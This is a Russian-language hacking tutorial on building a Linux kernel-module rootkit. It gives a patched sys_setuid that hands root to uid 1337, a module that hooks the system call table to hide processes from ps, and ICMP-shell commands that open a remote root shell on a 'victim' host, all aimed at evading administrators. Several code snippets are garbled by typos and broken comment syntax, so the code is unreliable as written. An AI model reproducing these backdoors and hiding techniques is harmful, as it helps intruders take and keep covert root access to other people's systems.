Давай рассмотрим команды, которые нам понадобятся для LKM.
gcc -c tooxkit.c -o tooxkit.o
Откомпилировали, теперь подключаем..
- insmod
Загрузить модуль в систему.
rootkit# insmod tooxkit.o
Загрузили ранее откомпиленный модуль...
- lsmod
Данная команда показывает подключенные модули ядра:
rootkit# lsmod
Module | Size | Used_ by |
tooxkit | 31337 | 0 |
processor | 9008 | 0 |
.... | .... | .... |
Итак, мы увидели три колонки "Module", "Size" и "Used by" - "Название модуля", "Размер", "Кем используется". Все, в приницпе, ясно. tooxkit - палевный LKM-руткит, запущенный из под root'a (нулевой уид) с размером 31337.
- rmmod
Данная команда выгружает модули ядра
rootkit# rnmod tooxkit
C подключениями/отключениями/и т.д. модулей ядра мы разобрались. Пока мы с тобой баловались с протрояниванием системных бинарников, я решил рассказть о более продвинутом обмане ОС на уровне ядра. Мы будем перехватывать системные вызовы к различным программам типа
ls, ps, netstat и т.д. - администратору придется изрядно попотеть, чтобы обнаружить вторжение в систему.
Ядерные руткиты работают по принципу:
- подгрузить свой модуль
- перехватить системный вызов пользователя
- не показывать юзеру то, что мы пытаемся скрыть,
в том числе и сам руткитовый модуль
А теперь поясню более популярно. Вот, например, администратор заподозрил что-то неладное, поэтому решил пошарить в системе (нами был установлен процесс "tooxkit", который мы удачно скрыли перехватом).
Мы написали LKM, который перехватывает системные вызовы ко всем важным командам (включая ps). Админ отдал команду ps, но в списке процессов все было чисто - процесс "tooxkit" не был обнаружен.
Простейшую технику перехвата системных вызовов можно прочитать в статье "Weakening the Linux Kernel" - во Phrack'e, номер #54.
Рутовая лазейка
Чуть выше мы с тобой троянили ps, но процесс оставался
видимым в каталоге /proc. Сейчас я приведу несколько примеров троянизации ядра, которые будут предоставлять нам доступ к командному интерпретатору с
привилегиями root, а также троянизацию некоторых системных утилит путем системных перехватов. Начнем с root-лазейки, которая изменит вызов sys_setuid до setuid(0) пользователю с уидом равным 1337, дав ему
определенные возможности во взломанной системе. Изменения будут происходить в самом ядре - модифицируем sys.c, а именно функцию sys_setuid, которая отвечает за "раздачу
привилегий".
o-// лазейка к root-привелегиям
\\-o
asmlinkage int sys_setuid*uid_t uid)
{
int old_euid = current ->euid;
int old_ruid, old_suid, new_ruid;
old_ruid = new_ruid = currnet ->uid
old_suid = currnet->suid;
/* Начинаем троянизировать ядро /*
if (current->euid == 1337)
new_ruid = current->euid = current -> suid = current ->fsuid = uid;
/* Окей... 😉 /*
else if *capavle(CAP_SETUID))
........... и т.д и т.п...........
o-// лазейка к root-привелегим \\-o
Еще одну лазейку, только LKM мы рассматривали выше.
Процессы
Теперь давай скроем процессы... Скрывать мы будем перехватом системных вызовов - запросы к ps будут передаваться
совершенно левой функции tooxkit'a. Немного полазив в
Интернете в поиске информации о перехвате запросов, я нашел интересный и подходящий код, который выдавал фейк информацию о ps:
o-// перехват запросов к ps
\\-o
Linux Kernel Module
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
/* linux ps fake utility.
*
* if fake ps doesn't work, try below SYS_CALLS
*
* 1. SYS_rt_sigaction
* 2. SYS_rt_sigprocmask
* 3. SYS_clone
*
* the main hook function is fakepid(); this function try to
* hook SYS_call = SYS_waitpid, then programm print some inte
* resting message to the screen 🙂
*
* (c) by stan [unl0ck team] 2004
*/
extern void *sys_call_table[]; /* указываем на таблицу системных вызовов
/*
int (*origpid)(const char *path);
int fakepid(const char *path)
{
printk(«No proccess found!»); /* при обращении к утилите ps, она выводит, что процессов в системе нет как таковых
/*
return 0;
}
int init_module(void) /* что будем делать при загрузке модуля
/*
{
origpid = sys_call_table[SYS_waitpid];
sys_call_table[SYS_waitpid] = fakepid;
printk(«Module successfully loaded!»);
return(0);
}
void cleanup_module(void) /* что будем делать при выгрузке модуля /*
{
sys_call_table[SYS_waitpid] = origpid;
printk(«Module successfully unloaded!»);
}
o-// перехват запросов к ps
\\-o
Прочитав внимательно исходник ты поймешь принцип перехватов.
Скрыв локально соединение, я чуть не забыл про удаленное... Ведь администратор может просто просканировать свою систему nmap'ом или другим сетевым сканером. Для этого удобнее всего использовать низкоуровневые сокеты - RAW-sockets, например, при
отсылке определенного пакета бэкдор в систему будет открываться, но это я разжевывать не буду, лишь покажу очень удобный пример получения рут-шелла с помощью ICMP-пакетов и программы ICMP-shell:
ICMP-shell manual
Во-первых, программа работает при помощи протокола ICMP (ну естественно), в ICMP-пакеты "втуливаются" наши команды, а серверная часть их обрабатывает и выполняет. Это достаточно удобно, так как ICMP-пакеты почти всегда обрабатываются сервером (конечно, если файрвол не режет все icmp-пакеты):
Как это выглядит на практике:
// Запускаем ICMP-shell на сервере c
привилегиями root, так как он использует RAW-сокеты.
server# ishd -i 31337 -t 8
// Запустили. идентификатор - 31337, тип ICMP-пакета - 8 (echo). Идентификатор нужен
// для того, чтобы серверная часть ICMP-шелла распознавала пакеты хакера.
// Теперь запускается клиентская часть:
client# ish -i 31337 -t 8 victim.org
Connecting to victim.org...done.
// Узнаем, "кто мы":
#whoami
root
Заключение
Я рассказал тебе достаточно много из того, что даст тебе возможность написать свой собственный руткит (естественно, со знаниями
Си). Еще раз скажу - я не хотел повторяться, так как в статье Форба
(журнал "Xakep", номер #069 - статья "Вооружись своим руткитом") и Криса Касперского (журнал "Хакер", номер #077 - статья "Поиграем с туксом в прятки") написано достаточно - обход проблем с файрволом, маскировка твоего соединения при помощи net toolz, скрытие процессов,
встройка бэкдора, стелсирование на уровне ядра. Вот и все
мои дополнения, которыми я хотел с тобой поделиться. Также я
настоятельно не рекомендую писать руткит методом "Copy & Paste", так как это будет "лол-руткит", так что для завершения идеи написания руткита тебе придется хоть немного пошевелить мозгами, разобраться с написанием модулей, а также полистать
дополнительную литературу, которую я привел ниже :). Буду рад, если моя статья кому-то действительно помогла :).
Дополнительная литература
Дополнительная литература про написание руткитов и их обзора:
Выбери свой руткит (обзор *nix-руткитов)
|Автор: Forb| журнал "Xakep", номер #069 http://www.xakep.ru/articles/magazine/2004.asp
Вооружись своим руткитом (написание Linux-руткита)
|Автор: Forb| журнал "Хакер", номер #071 http://www.xakep.ru/articles/magazine/2004.asp
Поиграем с туксом в прятки (стелс-технолгии на уровне ядра в Linux)
|Автор: Крис Касперски| журнал "Хакер", номер #077
http://www.xakep.ru/articles/magazine/2005.asp
Системный маскарад (написание простейшего руткита на perl)
|Автор: Юрий Гольцев| журнал "Хакер", номер #080
http://www.xakep.ru/articles/magazine/2005.asp
Кошмарное ПО (обзор руткитов для windows)
|Автор: Петя и Волк | журнал "Хакер" номер #077
http://www.xakep.ru/articles/magazine/2005.asp
Затроянивание sshd - I и II часть (название говорит само за себя)
|Автор: Satir| Cyber Lords Community http://cyberlords.net/
Attacking OpenBSD with LKM - I и II часть (написание LKM-руткитов под OpenBSD)
|Автор: __blf| Rush Security Team http://rst.void.ru/
Weakening the Linux Kernel (методы стелсирования на уровне ядра, лазейка в ядрах)
|Автор: Solar Disigner| e-zine "Phrack", номер #54 http://phrack.org/
и другие номера phrack'a - самый истинно-хакерский e-zine! 😉
Ссылки по теме:
http://rootkit.com/ - огромная коллекция троянов, руткитов и прочих вкусностей...
http://linux.kernel.org/ - исходные коды ядра Linux'a
http://peter.elukc.com/code/unix/c/icmp-shell/
- программа ICMP-шелл, которую мы упоминали в статье.
http://google.ru/ - без комментариев ;))
P.S: Все информация предоставлена в исключительно ознакомительных целях и является пищей для размышления 😉